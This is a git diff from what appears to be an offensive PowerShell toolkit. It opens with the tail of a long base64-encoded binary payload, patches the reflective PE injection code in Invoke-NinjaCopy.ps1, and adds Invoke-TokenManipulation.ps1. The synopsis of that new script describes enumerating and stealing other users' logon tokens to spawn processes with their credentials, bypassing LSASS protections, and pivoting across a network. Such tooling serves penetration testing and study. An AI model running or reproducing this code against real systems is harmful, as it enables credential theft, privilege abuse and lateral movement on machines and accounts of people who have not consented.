E0wnjC9MMUw2jDzMAMxIDErMUAxSDFOMVMxZDF7MbAxuTG+McQx0zHZMQcyDzIWMiMyMTJoMm4ydDJ5Mo8yoTKyMroyyTLRMtwy5zLzMvgyBDMJMxQzTzNlM4kz3jMENCk0XzSrNLg0xDTKNM803jTjNOs08TT2NP00AzUINQ81FTUaNSE1JzUsNTM1OTU+NUU1SzVQNVc1XTViNWo1cDV6NYA1iTWSNZs1pDWtNbY1xzXMNdI13DXpNfA1/zUENgo2HTYiNik2LzZGNks2UTZXNmM2azZyNnc2fDaCNpA2lzadNrA2tTa7NsE2zTbVNto25jbzNvg2AzcJNw83FDchNyY3MTc3Nz03ejeFN4o3sDe3N/I3DTh7OJw4vTjyOB85sDn2OQs6EjonOjM6OzphOmc6bTqIOps6rTrLOtA64TrnOuw69Dr8Og47Ezs6O0U7WTtmO387hTuTO7A7uTvVO/Y7EjwaPCI8JzxCPGQ8dzyEPIs8mzyoPK08sjy3PLw8wTzSPNo85zztPPU8/DwEPQo9HD0nPSw9Mz08PUI9Uz1aPWs9cD2BPY09lD2bPaM9qT26PcU9yz3SPfg9DD4ePl0+iD6RPpk+pT6zPsE+zz7bPuA+9T4DPww/Oj8/P0k/YD8AAAAABQAYAQAALTBLMFowkjDDMJQxoTG2Me0x9jEAMhIyHTJQMngyhjKRMp0ypTLdMusy9zL+MhYzLTM/M0ozhzOpM7oz3TP1Myo0RDR3NJk0qjTNNOU0GjVYNXo1izWqNcI19zUsNjQ2PzZINls2ijaXNuc2PzdlN343lzeeN6U3rDftNyw4SzhgOIA4jTicOKM4uDjHOM445jj6OB05PDlDOUo5XjlyOZs5ujnBOcg53Dn3OSI6QTpIOmg6fjqiOtA69Tr7Ohs7TTtdO2Y7czt5O447lDupO7o7wjvIO9074zv+OwQ8Kjw3PEQ8TjxbPGg8sDzhPAQ9Jz1iPa49Fj44Plo+gD76Pgs/JD83P0c/fj+jP8o/AAAAEAUADAEAABYwNzA+MEkwkjC/MPIwDDEyMTsxgzGTMawxuTHGMdEx6DHvMTYyRDJZMmUyezK4MsIy2TL7MhQzMTNCM1wzczO9M4M0njQWNTI1ezW3NfI1QTZGNnc2DzcXNzQ3PjdaN2k3fzecN7A3xDfqN/o3Jjg2OEE4cjh5OIo4mjj1OAk5JjliOZ05zDnROeU58DkROhY6PDpcOmk6iDqPOsA60jrrOh87OztCO0o7WjtpO3g7hzubO6k7sDvEO9I75ztePG88dTyAPJQ8zzzjPBY9IT0pPTE9Qz1RPXQ9ez2EPZQ94j3yPfs9FD4ePjw+aD6RPqw+tD7GPtQ+lD+fP6U/uz/mPwAAACAFAFQBAAATMB4wJzA2MFAwvTDFMOkw8TD3MB0xJDEzMVkxYTFnMXgxgjGnMd8x+jEBMggyDzIUMiUyNjJAMlMycDJ3Mn8yjTKcMsYy6zITMxozIjNkM3MzhzMONBY0HDQqNDI0TzSgNM003TQCNSQ1TTVoNXg1fzWUNZs1rjW1Nco10TXhNes1BDYQNiA2KjZDNk82XzZpNoI2jDalNq82uzbCNts25TbxNvg2BDcLNxc3HjddN4837TcFODE4NjhlOHc4gTiIOI04njitODg5PTlXOX85jjmVOac5rjnlOfg5BDrAOu869zr9Ogo7UDt7Oxc8ITwoPE08cjyBPI48kzymPKs82zztPPc8/jwDPRQ9JD2BPag9wT3GPfk9Cz4SPhk+ID4lPjY+Rj5PPl0+bT56Pts+4D4MPx8/Jj8tPzQ/OT9KP1s/ZD+FP6w/vT8AAAAwBQBwAQAAIDBPMF8wdjCHMJgwnTC2MLswyDAVMTIxPDFKMVwxcTGvMcExezKuMvkyDDNqMy00XjStNMA00zTfNO80ADUmNTs1QjVINVo1ZDXCNc819jX+NRc2UTZsNng2hzaQNp02zDbUNuU26zbxNho3Szf2NxU4HzgwODw4RThKOHA4dTiaOKE4vjgAOQ45KTk0Obw5xTnNORQ6IzoqOmA6aTp2OoE6ijqdOqc6vTrGOtE62Dr4Ov46BDsKOxA7FjsdOyQ7KzsyOzk7QDtHO087VztfO2s7dDt5O387iTuTO6M7szvDO8w73DviO+g77jv0O/o7ADwGPAw8EjwYPB48JDwqPDA8Njw8PEI8SDxOPFQ8WjxgPGY8bDxyPHg8fjyEPIo8kDyWPJw8ojyoPK48tDy6PMA8xjzMPNI82DzePOQ86jzwPPY8/DwCPQg9Dj0UPRo9ID0mPSw9Mj04PT49RD1KPVY9DD7QPgAAAEAFAMAAAABUMWcxhTGTMUEzeDN/M4QziDOMM5Az5jMrNDA0NDQ4NDw0/zZ3N383kTfqNxU4tDgFO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cM5CzoTOhs63zrnOho7KTs4O3Q7sTvvOys8TzxmPG48lTyePPk9AT4VPvY++z4NP7w/yz/VPwAwBwAsAAAAPzBQMFcwZTB+MIowkTCjML8wFzGzMcMx0DHzMRgyHTIpMjUyAEAHAOwAAABYNmg2bDZwNnQ2gDaENog2xDbINsw20DbUNtg28Df0N/g3/DcAOAQ4CDgMOBA4FDgYOBw4IDgkOCg4LDgwODQ4ODg8OEA4RDhIOEw4UDhUOFg4XDhgOGQ4aDhsOHA4dDh4OHw4gDiEOIg4jDiQOJQ4mDicOKA4pDioOKw4sDi0OLg4vDjAOMQ4yDjMONA41DjYONw44DjkOOg47DjwOPQ4+Dj8OAA5BDkIOQw5EDkUORg5HDkgOSQ5KDksOTA5NDk4OTw5QDlEOUg5TDlQOVQ5WDlcOWA5ZDloOWw5cDl0OXg5fDkAUAcAOAAAAAA9CD0QPRQ9GD0cPSA9JD0oPSw9ND04PTw9QD1EPUg9TD1QPVw9ZD1oPWw9cD10PQBgBwDgAAAAiDKMMpAylDKYMpwyoDKkMqgyrDKwMrQyuDK8MsAyxDLIMswy0DLUMtgy3DLgMuQy6DLsMvAy9DL4MvwyADMEMwgzDDMQMxQzGDMcMyAzJDMoMywzMDM8M0AzRDNIM0wzUDNUM1gzXDNgM2QzaDNsM3AzdDN4M3wzgDOEM4gzjDOQM5QzmDOcM6AzpDOoM6wzsDO0M7gzvDPAM8QzyDPMM9Az1DPYM9wz4DPkM+gz8DP0M/gz/DMANAQ0CDQMNBA0FDQYNBw0IDQkNCg0LDQwNDQ0ODQ8NAAAAHAHANgBAAAsMjAyNDI4MpwypDKsMrQyvDLEMswy1DLcMuQy7DL0MvwyBDMMMxQzHDMkMywzNDM8M0QzTDNUM1wzZDNsM3QzfDOEM4wzlDOcM6QzrDO0M7wzxDPMM9Qz3DPkM+wz9DP8MwQ0DDQUNBw0JDQsNDQ0PDRENEw0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NTw1RDVMNVQ1XDVkNWw1dDV8NYQ1jDWUNZw1pDWsNbQ1vDXENcw11DXcNeQ17DX0Nfw1BDYMNhQ2HDYkNiw2NDY8NkQ2TDZUNlw2ZDZsNnQ2fDaENow2lDacNqQ2rDa0Nrw2xDbMNtQ23DbkNuw29Db8NgQ3DDcUNxw3JDcsNzQ3PDdEN0w3VDdcN2Q3bDd0N3w3hDeMN5Q3nDekN6w3tDe8N8Q3zDfUN9w35DfsN/Q3/DcEOAw4FDgcOCQ4LDg0ODw4RDhMOFQ4XDhkOGw4dDh8OIQ4jDiUOJw4pDisOLQ4vDjEOMw41DjcOOQ47Dj0OPw4BDkMORQ5HDkkOSw5NDk8OUQ5TDlUOVw5ZDlsOXQ5fDmEOYw5lDmcOaQ5rDm0OQCABwDQAQAAqDOwM7gzwDPIM9Az2DPgM+gz8DP4MwA0CDQQNBg0IDQoNDA0ODRANEg0UDRYNGA0aDRwNHg0gDSINJA0mDSgNKg0sDS4NMA0yDTQNNg04DToNPA0+DQANQg1EDUYNSA1KDUwNTg1QDVINVA1WDVgNWg1cDV4NYA1iDWQNZg1oDWoNbA1uDXANcg10DXYNeA16DXwNfg1ADYINhA2GDYgNig2MDY4NkA2SDZQNlg2YDZoNnA2eDaANog2kDaYNqA2qDawNrg2wDbINtA22DbgNug28Db4NgA3CDcQNxg3IDcoNzA3ODdAN0g3UDdYN2A3aDdwN3g3gDeIN5A3mDegN6g3sDe4N8A3yDfQN9g34DfoN/A3+DcAOAg4EDgYOCA4KDgwODg4QDhIOFA4WDhgOGg4cDh4OIA4iDiQOJg4oDioOLA4uDjAOMg40DjYOOA46DjwOPg4ADkIORA5GDkgOSg5MDk4OUA5SDlQOVg5YDloOXA5eDmAOYg5kDmYOaA5qDmwObg5wDnIOdA52DngOeg58Dn4OQA6CDoQOhg6IDooOjA6ODpAOkg6UDpYOmA6aDpwOng6gDqIOpA6mDqgOqg6sDq4OsA6AJAHAEwAAAC6NL40wjTGNFw+ZD5sPnQ+fD6EPow+lD6cPqQ+rD60Prw+xD7MPtQ+3D7kPuw+9D78PgQ/DD8UPxw/JD8sPzQ/PD8AAACgBwCkAQAAiDiUOKA4rDi4OMQ4zDjQONQ42DjcOOA45DjoOOw48Dj0OCA6KDowOjg6QDpIOlA6WDpgOmg6cDp4OoA6iDqQOpg6oDqoOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO3A7eDuAO4g7kDuYO6A7qDuwO7g7wDvIO9A72DvgO+g78Dv4OwA8CDwQPBg8IDwoPDA8ODxAPEg8UDxYPGA8ZDxoPGw8cDx0PHg8fDyAPIQ8iDyMPJA8lDyYPJw8oDykPKg8rDywPLQ8uDy8PMA8yDzQPNg84DzoPPA8+DwAPQg9ED0YPSA9KD0wPTg9QD1IPVA9WD1gPWg9cD14PYA9iD2QPZg9oD2oPbA9uD3APcg90D3YPeA96D3wPfg9AD4IPhA+GD4gPig+MD44PkA+SD5QPlg+YD5oPnA+eD6APog+kD6YPqA+qD6wPrg+wD7IPtA+2D7gPug+8D74PgA/CD8QPxg/ID8oPzA/OD9AP0g/UD9YP2A/aD9wP3g/kD+UP5g/nD+gPwCwBwCYAAAAEDAUMBgwHDAgMCQwKDAsMDAwNDA4MDwwQDC4MLwwwDDEMNgwCDEMMRAxFDEYMRwxIDEkMaQxqDGsMbAxvDHAMcQxyDHMMdAx1DHYMdwx4DHkMegx7DHwMfQxCDIENAg0DDQQNBQ0GDQcNCA0JDQoNDA0NDQ4NDw0UDTQNNQ02DTcNPA0yDXMNdA11DXoNQAAAMAHAIQAAAAIMQwxEDEUMSgxCDQMNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEQ0SDRMNFA0VDRYNFw0YDRkNGg0bDRwNKw6sDq0Org6vDrAOmA8ZDxoPGw8cDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzUPNg8pD6oPqw+sD68PgAAANAHABwAAACkPKg8rDywPLQ8uDy8PHQ9fD0AAADgBwBIAgAA5DHoMewx8DH0Mfgx/DGkMqgyrDKwMrQyuDK8Mrw1WDZcNmA2aDZwNnQ2eDZ8NoQ2iDaMNug37DfwN/Q3+Df8NwA4BDgIOAw4EDgUOBg4HDggOCQ4KDgsODA4NDg4ODw4QDhEOEg4TDhQOFQ4WDhcOGA4ZDhoOGw4cDh4OHw4gDiEOIg4jDiQOJQ4mDicOKA4pDioOKw4sDi0OLg4vDjAOMQ4yDjMONA41DjYONw44DjkOOg47DhwOnQ6eDp8OoA6hDqIOow6kDqUOpg6nDqgOqQ6qDqsOrA6tDq4Orw6wDrEOsg6zDrQOtQ62DrcOuA65DroOuw68Dr0Ovg6/DoAOwQ7CDsMOxA7FDsYOxw7IDskOyg7MDs0Ozg7PDtAO0Q7SDtMO1A7VDtYO1w7YDtkO2g7bDtwO3Q7gDuEO4g7wDvEO8g7zDsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8TDxQPFQ8WDxcPGA8ZDxoPGw8hDyIPJQ8oDykPLA8vDzAPMg80DzYPNw84DzoPOw8+Dz8PAg9DD0YPRw9ID0oPSw9MD04PTw9QD1IPUw9WD1cPWg9bD14PXw9iD2MPZg9nD2oPaw9uD28Pcg9zD3YPdw94D3oPew98D34Pfw9AD4EPhA+ID4kPig+LD4wPjQ+OD48PkA+RD5IPkw+UD5UPlg+XD5gPmQ+aD5sPnA+dD54Pnw+gD6EPog+jD6QPpQ+mD6cPug+7D4cPyA/JD8oPyw/MD/gPwAAAPAHAPACAAAYMEAwRDBIMEwwUDBUMFgwXDBgMGQwaDBsMHAwdDB4MHwwgDCEMIgwjDCQMJgwnDCkMKgwrDCwMLQwuDDYMOAw5DDoMOww8DD0MAAxDDEQMRQxGDEcMSAxJDEoMSwxMDE0MTgxPDFAMUQxSDFMMVAxWDFcMWQxaDFwMXQxeDF8MYAxhDGIMYwxkDGUMZgxpDGwMbQxuDG8McAxxDHIMcwx0DHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyLDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAyZDJoMmwycDJ0MngyfDKAMoQyiDKMMpAynDKoMqwysDK0MrgyvDLAMsQyyDLMMtAy1DLYMtwy4DLkMugy7DLwMvQy+DL8MgAzBDMIMwwzGDMkMygzLDMwMzQzODM8M0AzTDNYM1wzYDNkM2gzbDNwM3QzeDN8M4AzhDOIM4wzkDOUM5gznDOgM6QzqDOsM7AztDO4M7wzwDPEM8gzzDPQM9Qz2DPgM/Az9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEw0WDRcNGA0ZDRoNGw0cDR0NHg0fDSANIQ0iDSMNJA0lDSYNJw0oDSkNKg0tDTANMQ0yDTMNNA03DToNOw08DT0NPg0/DQQNSg1QDVYNVw1cDV0NYg1jDWgNag1rDW4Nbw1wDXENcg1zDXkNeg19DUgNiQ2KDYsNjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN1w3YDdkN2g3bDd0N3g3fDe0OLg4CDnwPPQ8+Dz8PMQ9zD3QPeQ96D0AMAoAiAAAAPwwCDGkM6gztDO4M8QzyDPUM9gz5DPoM/Qz+DMENAg0FDQYNDg0WDR0NHg0lDSYNLg02DT4NAQ1IDVANWA1aDVsNYg1qDXENcg16DUINig2SDZoNog2qDbINug2CDcoN0g3aDeIN6g3yDfoNwg4KDhIOGg4iDioOMQ4yDjkOOg4AGAKAMwBAAAAMTAxQDFQMWAxcDGIMZQxmDGcMbgxvDH4MRg3KDcsNzA3NDc4Nzw3QDdEN0g3TDdYN1w3YDdkN2g3bDdwN3Q3+Df8N2A5aDlsOXA5dDmIOYw5kDmUOZg5nDmgOaQ5qDmwOcQ5zDnUOdw58Dn0Ofw5CDoUOhg6IDokOiw6MDo4Ojw6RDpIOlA6VDpcOmA6aDpsOnQ6gDqMOpA6mDqcOqQ6qDqwOrw6wDrIOsw61DrYOuA65DrsOvA6+Dr8OgQ7CDsQOxQ7HDsgOyg7LDs0O0A7RDtMO1A7WDtcO2Q7aDtwO3Q7fDuAO4g7jDuUO5g7oDukO6w7sDu4O7w7xDvIO9A71DvcO+A76DvsO/Q7+DsAPAw8GDwcPCQ8KDwwPDQ8PDxAPEg8TDxUPFg8YDxkPGw8cDx4PHw8hDyIPJA8lDycPKA8qDysPLQ8uDzAPMQ8zDzQPNg85DzoPPA89Dz8PAg9FD0gPSw9OD1EPVA9VD1cPWA9aD1sPXQ9gD2EPYw9mD2kPag9xD7MPtQ+4D7oPvA+/D4EPww/KD8wPzQ/OD88P1A/VD9YP1w/YD9kP2g/bD98P4Q/mD+gP7Q/vD/QP9g/7D/0PwBwCgB4AQAACDAQMCQwLDBAMEgwXDBkMHgwgDCcMLAwtDC4MMww1DDwMAQxCDEMMSAxKDE8MUQxWDFgMXQxfDGQMZgxrDG0Mcgx0DHkMewxADIIMhwyJDI4MkAyVDJcMnAyeDKMMpQyqDKwMsQyzDLgMugy/DIEMxgzIDM0MzwzUDNYM2wzdDOIM5AzpDOsM8AzyDPcM+Az5DP4M/wzADQUNBg0HDQwNDQ0ODRMNFA0VDRoNGw0cDSENIg0jDSYNKA0qDS0NLw0xDTQNNg04DT8NBg1LDU0NTw1QDVENUg1TDVQNVg1qDXkNSA2qDawNuQ27DYgNyg3XDdkN5g3oDfYN+A3FDgcOFA4WDjoOPA4JDksOWA5aDmcOaQ52DngORQ6HDpQOlg6lDqoOrA64DrwOvg6CDsQO0Q7TDuAO4g7vDvEO/g7ADwwPDg8QDyoPLA8+Dw0PXA9rD34PTQ+cD7QPuQ++D4IPxA/RD9MP4A/iD+8P8Q/AAAAgAoApAAAAFgwYDCUMJww0DDYMAwxFDF4MbQx8DEsMmQyaDKYMtQyGDNUM5AzzDMINEQ0eDSENPg0NDVwNaw16DUkNlg2XDZkNpg21DYQN1A3XDd8N4g3uDf0NzA4bDioOOQ4IDlcOaA5pDmsOdQ52DngOQg6PDpAOkg6eDqsOrA6uDroOiQ7YDucO9g73DvkOxg8VDyQPMw8CD1UPVg9YD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") { @@ -2710,4 +2741,4 @@ Function Main } Main -} \ No newline at end of file +} diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 index 68e7d81e..e3eb8f05 100644 --- a/Exfiltration/Invoke-NinjaCopy.ps1 +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -1,4 +1,4 @@ -function Invoke-NinjaCopy +function Invoke-NinjaCopy { <# .SYNOPSIS @@ -25,8 +25,6 @@ Contributors: This script has a byte array hardcoded, which contains a DLL wich License: GPLv3 or later Required Dependencies: None Optional Dependencies: None -Version: 1.0 -ReflectivePEInjection version: 1.0 .DESCRIPTION @@ -574,7 +572,7 @@ $RemoteScriptBlock = { $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary @@ -818,24 +816,12 @@ $RemoteScriptBlock = { [IntPtr] $StartAddress, - [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] - [IntPtr] - $EndAddress, - [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [IntPtr] $Size ) - [IntPtr]$FinalEndAddress = [IntPtr]::Zero - if ($PsCmdlet.ParameterSetName -eq "Size") - { - [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) - } - else - { - $FinalEndAddress = $EndAddress - } + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) $PEEndAddress = $PEInfo.EndAddress @@ -2219,7 +2205,7 @@ $RemoteScriptBlock = { $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types $OriginalImageBase = $PEInfo.OriginalImageBase $NXCompatible = $true - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) { Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue $NXCompatible = $false @@ -2277,7 +2263,7 @@ $RemoteScriptBlock = { Write-Verbose "Allocating memory for the PE and write its headers to memory" [IntPtr]$LoadAddr = [IntPtr]::Zero - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) { Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue [IntPtr]$LoadAddr = $OriginalImageBase @@ -2845,4 +2831,4 @@ Main [GC]::Collect() [GC]::Collect() -} \ No newline at end of file +} diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 new file mode 100644 index 00000000..6558a635 --- /dev/null +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -0,0 +1,1930 @@ +function Invoke-TokenManipulation +{ +<# +.SYNOPSIS + +This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use +anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections. +This functionality is very similar to the incognito tool (with some differences, and different use goals). + +This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell +creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token +that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect +to another server as that user (it will authenticate using the primary token of the process, which is your original logon token). + +Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon +Token, and then use this process to pivot. This works because the entire process is created using the other users Logon 